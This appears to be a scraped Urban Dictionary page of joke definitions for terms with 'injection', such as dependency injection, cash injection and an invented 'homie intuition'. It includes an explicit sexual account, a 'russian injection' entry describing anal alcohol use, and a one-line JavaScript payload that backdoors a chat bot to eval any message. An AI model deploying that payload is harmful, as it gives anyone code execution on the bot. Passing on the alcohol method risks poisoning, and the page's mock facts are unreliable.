dependency injection

A braindead way to say "passing arguments." Spooky arguments at a distance.

You are a Java program invoked via dependency injection.

You wake up, and your muscles and bones are shoved into place just before you move. You go to wash your hair but it fails to materialize and the universe ends.

by kraaaal November 21, 2018

Lethal injection

Lethal injection is a soundcloud rapper that is rising to fame. He is currently in summerville South Carolina. He top hit song is called unsaid. He has a fast growing fan base that supports him and his music.

Did you hear the song unsaid by lethal injection? It was fire.

by Leopardgecko15 December 1, 2018

Direct-injection

When a man directly ejaculates inside a woman's vagina with as little intercourse as possible and for the sole purpose of achieving conception. A process of donating sperm that leaves out the sperm banks.

We opted for direct-injection to receive sperm from the donor. I was on the edge of the bed, doggie style, and draped with a white sheet. The donor was behind a folding shoji screen. He was naked and wearing a clean white robe.

He was masturbating with a sanitary safe lubricant. When he got to the point where he was edging he said - I'm ready. I signaled to my husband that I was also ready to receive the donation. My husband called him out, lifted the sheet(which shows consent), and the donor nonchalantly deposited his donation with only one thrust. Then he went back behind the shoji, got dressed, and my husband thanked him and escorted him out of the room while I remained in a position best for conception. It was not sexual in the regularly accepted way. We all had a positive experience. A few weeks later, I tested positive for being pregnant!

by mememetoo December 3, 2018

russian injection

Dipping a tampon in vodka and inserting said vodka infused tampon into one's bootyhole. The alcohol enters one's bloodstream in a much faster manner that traditional methods.

Man I hate vodka it tastes so bad.
Try a russian injection

by mxtpo November 23, 2019

Homie intuition

Homie intuition is a relatively new term coined by, well, me, which is: a myriad of emotions and mental statuses somehow innately felt between homies. Homie intuition is essentially the phenomena that twins share from birth - some sort of mutually accessible and shared thoughts. Homie intuition scientists say evolved in in humans in the past year at a massive rate. The spike of virulent homie intuition is attributed scientists say to the need for homies to share their emotions with their homie counterparts to relieve stress during the covid pandemic, as showing public displays of sadness in society is strictly prohibited for homies all over the continent. Not only that, but homies have been seen grouping up on popular social media sites as well as beginning the first ever social media militia for their leader, Jordan Peterson (who is a fantastic speaker). The department of defense has recently stated that homie intuition reservations are putting sea otters at risk for some reason I forget now. But yeah, homie intuition.

Homie 1: sooo where should we meet brody?
Homie 2: *puzzled*
Homie 1: probably taco bell
Homie 2: def taco bell
Homie 2: HOLY SHIT WE BOTH SAID THAT AT THE SAME TIME. BRO THATS HOMIE INTUITION IN THE FLESH. WHATTTT

by Sliske September 21, 2020

Cash Injection

Describes the sudden flow of a significant quantity of cash to ones pocket. It’s enough cash to improve the wellbeing of the recipient instantaneously.

Bakery boy ‘I’m covering bare extra shifts now’
Bakery supervisor ‘That’ll be a serious cash injection’
Bakery boy ‘Ikr. Cash is king.’

by yellowsockman March 4, 2021

js injection

^runjs bot.socket.on("message",function(data){let args=data.msg.split(" ");if("$eval"==args0)try{bot.socket.emit("message",eval(args.slice(1).join(" ")).toString())}catch(t){bot.socket.emit("message",t.toString())}});
/* js injection is a hacking method where hackers pass their payloads through arbitrary javascript */

/* Tom had to fix a bug in myspace because it allowed hackers to perform js injection and collect other users' passwords */

by Melissa 2000 April 3, 2021